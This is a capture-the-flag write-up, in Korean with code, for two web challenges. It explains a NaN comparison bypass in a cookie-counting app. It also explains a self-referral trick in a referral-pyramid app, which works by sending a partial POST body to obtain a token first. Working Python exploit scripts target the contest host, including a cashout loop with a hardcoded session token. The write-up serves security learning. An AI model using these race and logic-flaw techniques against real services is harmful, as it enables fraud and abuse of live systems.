cookie-recipes-v3
const express = require('express')
const app = express()
const cookies = new Map()
app.use((req, res, next) => {
const cookies = req.headers.cookie
const user = cookies?.split('=')?.[1]
if (user) { req.user = user }
else {
const id = Math.random().toString(36).slice(2)
res.setHeader('set-cookie', `user=${id}`)
req.user = id
}
next()
})
app.get('/', (req, res) => {
const count = cookies.get(req.user) ?? 0
res.type('html').send(`
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@exampledev/new.css@1/new.min.css">
<link rel="stylesheet" href="https://fonts.xz.style/serve/inter.css">
<div>You have <span>${count}</span> cookies</div>
<button id="basic">Basic cookie recipe (makes one)</button>
<br>
<button id="advanced">Advanced cookie recipe (makes a dozen)</button>
<br>
<button disabled>Super cookie recipe (makes a million)</button>
<br>
<button id="deliver">Deliver cookies</button>
<script src="/script.js"></script>
`)
})
app.get('/script.js', (_req, res) => {
res.type('js').send(`
const basic = document.querySelector('#basic')
const advanced = document.querySelector('#advanced')
const deliver = document.querySelector('#deliver')
const showCookies = (number) => {
const span = document.querySelector('span')
span.textContent = number
}
basic.addEventListener('click', async () => {
const res = await fetch('/bake?number=1', { method: 'POST' })
const number = await res.text()
showCookies(+number)
})
advanced.addEventListener('click', async () => {
const res = await fetch('/bake?number=12', { method: 'POST' })
const number = await res.text()
showCookies(+number)
})
deliver.addEventListener('click', async () => {
const res = await fetch('/deliver', { method: 'POST' })
const text = await res.text()
alert(text)
})
`)
})
app.post('/bake', (req, res) => {
const number = req.query.number
if (!number) {
res.end('missing number')
} else if (number.length <= 2) {
cookies.set(req.user, (cookies.get(req.user) ?? 0) + Number(number))
res.end(cookies.get(req.user).toString())
} else {
res.end('that is too many cookies')
}
})
app.post('/deliver', (req, res) => {
const current = cookies.get(req.user) ?? 0
const target = 1_000_000_000
if (current < target) {
res.end(`not enough (need ${target - current}) more`)
} else {
res.end(process.env.FLAG)
}
})
app.listen(3000)
/bake 페이지에 numder 값을 받아와서 current 값에 더합니다. (current < target) 값이 false가 되면 flag가 나옵니다. number 값이 e 와 같은 값을 넣으면 current 값이 NaN이 되고 (current < target) 가 false가 되어 flag를 살 수 있습니다.
pyramid
const express = require('express')
const crypto = require('crypto')
const app = express()
const css = `
<link
rel="stylesheet"
href="https://unpkg.com/axist@latest/dist/axist.min.css"
>
`
const users = new Map()
const codes = new Map()
const random = () => crypto.randomBytes(16).toString('hex')
const escape = (str) => str.replace(/</g, '<')
const referrer = (code) => {
if (code && codes.has(code)) {
const token = codes.get(code)
if (users.has(token)) {
return users.get(token)
}
}
return null
}
app.use((req, _res, next) => {
const token = req.headers.cookie?.split('=')?.[1]
if (token) {
req.token = token
if (users.has(token)) {
req.user = users.get(token)
}
}
next()
})
app.get('/', (req, res) => {
res.type('html')
if (req.user) {
res.end(`
${css}
<h1>Account: ${escape(req.user.name)}</h1>
You have <strong>${req.user.bal}</strong> coins.
You have referred <strong>${req.user.ref}</strong> users.
<hr>
<form action="/code" method="GET">
<button type="submit">Generate referral code</button>
</form>
<form action="/cashout" method="GET">
<button type="submit">
Cashout ${req.user.ref} referrals
</button>
</form>
<form action="/buy" method="GET">
<button type="submit">Purchase flag</button>
</form>
`)
} else {
res.end(`
${css}
<h1>Register</h1>
<form action="/new" method="POST">
<input name="name" type="text" placeholder="Name" required>
<input
name="refer"
type="text"
placeholder="Referral code (optional)"
>
<button type="submit">Register</button>
</form>
`)
}
})
app.post('/new', (req, res) => {
const token = random()
const body = []
req.on('data', Array.prototype.push.bind(body))
req.on('end', () => {
const data = Buffer.concat(body).toString()
const parsed = new URLSearchParams(data)
const name = parsed.get('name')?.toString() ?? 'JD'
const code = parsed.get('refer') ?? null
// referrer receives the referral
const r = referrer(code)
if (r) { r.ref += 1 }
users.set(token, {
name,
code,
ref: 0,
bal: 0,
})
})
res.header('set-cookie', `token=${token}`)
res.redirect('/')
})
app.get('/code', (req, res) => {
const token = req.token
if (token) {
const code = random()
codes.set(code, token)
res.type('html').end(`
${css}
<h1>Referral code generated</h1>
<p>Your code: <strong>${code}</strong></p>
<a href="/">Home</a>
`)
return
}
res.end()
})
app.get('/cashout', (req, res) => {
if (req.user) {
const u = req.user
const r = referrer(u.code)
if (r) {
[u.ref, r.ref, u.bal] = [0, r.ref + u.ref / 2, u.bal + u.ref / 2]
} else {
[u.ref, u.bal] = [0, u.bal + u.ref]
}
}
res.redirect('/')
})
app.get('/buy', (req, res) => {
if (req.user) {
const user = req.user
if (user.bal > 100_000_000_000) {
user.bal -= 100_000_000_000
res.type('html').end(`
${css}
<h1>Successful purchase</h1>
<p>${process.env.FLAG}</p>
`)
return
}
}
res.type('html').end(`
${css}
<h1>Not enough coins</h1>
<a href="/">Home</a>
`)
})
app.listen(3000)
ref를 늘려서 flag를 사는 문제입니다. 문제를 보면 정상적인 방법으로 bal 값을 늘릴려면 결국 ref를 늘려야하는데 이는 10억 번의 request가 필요해 다른 방법을 찾아봤습니다.
자기 자신의 code를 code로 가지고 있으면 cashout을 했을 때 bal 값이 기하급수적으로 늘어나게 됩니다. 문제의 /new 페이지에서는 data 값을 모두 받아야지 user를 등록하고 data 값을 아직 다 받지 않은 상태에서도 token을 return합니다. 때문에 name까지만 보내고, token을 받은 후 code 값을 계산해서 refer에 넣어서 주게 되면 자기 자신을 referer로 삼을 수 있습니다.
import socket
import ssl
import re
import time
import http.client
HOST = 'pyramid.dicec.tf'
PORT = 443
name_part = 'name=me'
refer_template = '&refer={ref}'
full_body_len = len(name_part) + len(refer_template.format(ref='0' * 32))
context = ssl.create_default_context()
raw_sock = socket.create_connection((HOST, PORT))
conn = context.wrap_socket(raw_sock, server_hostname=HOST)
req_headers = (
f"POST /new HTTP/1.1\r\n"
f"Host: {HOST}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {full_body_len}\r\n"
f"Connection: keep-alive\r\n"
f"\r\n"
f"{name_part}"
)
conn.sendall(req_headers.encode())
print('[*] Sent name part. Waiting for Set-Cookie...')
resp = b''
while b'set-cookie:' not in resp:
resp += conn.recv(4096)
print(resp)
m = re.search(rb'set-cookie:\s*token=([a-f0-9]+)', resp)
assert m, 'No token found!'
token = m.group(1).decode()
print(f'Got token: {token}')
print('Requesting /code to generate referral...')
http_conn = http.client.HTTPSConnection(HOST)
http_conn.request('GET', '/code', headers={'Cookie': f'token={token}'})
res = http_conn.getresponse()
html = res.read().decode()
http_conn.close()
m = re.search(r'<strong>([a-f0-9]+)</strong>', html)
assert m, 'Referral code not found'
ref_code = m.group(1)
print(f'Got referral code: {ref_code}')
refer_part = refer_template.format(ref=ref_code)
conn.sendall(refer_part.encode())
print('Sent refer part:', refer_part)
final_resp = b''
try:
while True:
chunk = conn.recv(4096)
if not chunk:
break
final_resp += chunk
except socket.timeout:
pass
print(final_resp.decode(errors='ignore')[:500])
conn.close()
위의 코드를 통해 자기 자신의 referer인 계정을 만들었고 해당 계정의 ref를 2로 만들고 cashout를 계속 해주면 flag를 살 수 있습니다.
import http.client
import time
HOST = 'pyramid.dicec.tf'
PORT = 443
TOKEN = 'c1232df44c57c310cad1f8e764bcca1c'
def cashout_loop():
conn = http.client.HTTPSConnection(HOST)
headers = {
'Cookie': f'token={TOKEN}',
}
for i in range(1000):
conn.request('GET', '/cashout', headers=headers)
res = conn.getresponse()
print(f'[{i}] /cashout -> {res.status} {res.reason}')
res.read()
time.sleep(0.1)
conn.close()
cashout_loop()